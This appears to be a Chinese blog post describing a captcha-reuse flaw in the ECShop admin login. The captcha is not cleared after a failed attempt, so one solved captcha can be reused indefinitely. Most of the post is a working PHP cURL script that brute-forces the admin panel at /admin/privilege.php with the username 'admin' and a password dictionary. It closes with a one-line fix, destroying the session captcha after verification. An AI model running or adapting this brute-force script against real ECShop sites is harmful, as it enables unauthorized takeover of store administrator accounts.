• ecshop绕过验证码暴力破解


    若验证码不匹配,并没有销毁当前验证码
     
    所以就可以一次请求验证码图片后,只要不再刷新验证码就可以一直使用 


    1.获取正确的验证码
     
    2.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    <?php
    $admin_path='/admin/privilege.php';
    $captcha='上一步获取的验证码';
    $referer=$site;
    function getH($url,$postdata=array()){
    global $ch,$referer;
    $options = array( CURLOPT_URL =>   $url,
                       CURLOPT_HEADER => false,
    CURLOPT_TIMEOUT=> 0.11,
    //CURLOPT_FILE=>$f,
    CURLOPT_RETURNTRANSFER=>true,
                          CURLOPT_REFERER=>$referer,
     //CURLOPT_POST=>1,
    CURLOPT_HTTPHEADER=>array('Content-Type: application/x-www-form-urlencoded; charset=iso-8859-1','Expect:'),
    CURLOPT_USERAGENT=>'ie'
                    );
               
    if(!empty($postdata)){
    $options[CURLOPT_POSTFIELDS]=http_build_query($postdata);
    }
    $ret = curl_setopt_array($ch,$options);
    //$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回一个字符串,而不是直接输出到浏览器
      $ret = curl_exec($ch);
     
        $info = curl_getinfo($ch);
     
        if (empty($info['http_code'])) {
            die("No HTTP code was returned");
        } else if($info['http_code']==200) {//响应码为200
            return $ret;
     
     
        }else{
            #var_dump($info);  
            echo '<br />';
            echo ('响应码:'.$info['http_code']);//
            echo '<br />';
            echo $postdata['username'].'  ---'.$postdata['password'];
            echo '<br />';
        }
     
     
    }
     
    $url=$site.$admin_path;
    $data=array(
        'username'=>'admin',
        'password'=>'123456ad',
        'captcha'=>$captcha,
        'act'=>'signin'
        );
    //词典
    $passwds=array('1','2','3','123456a','123456','123456ds');
    foreach($passwds as $p){
        $data['password']=$p;
        $res= strip_tags(getH($url,$data));
        if(stripos($res,'您输入的帐号信息不正确')){
            echo 'no';
        }
        echo '<br>------------------------<br>';
    }

    修复方案:

    验证识别后销毁session中的验证码 

  • 相关阅读:
    SQL语句
    POJ2586——Y2K Accounting Bug
    POJ1328——Radar Installation
    POJ2965——The Pilots Brothers' refrigerator
    SDIBT2666——逆波兰表达式求值
    POJ1753——Flip Game
    Python全栈开发-有趣的小程序
    跑马灯效果、jquery封装、$.fn和$.extend方法使用
    js 实现浏览器全屏效果
    百度地图点聚合功能如何提高性能
  • 原文地址:https://www.cnblogs.com/sprinng/p/3662592.html
Copyright © 2020-2023  润新知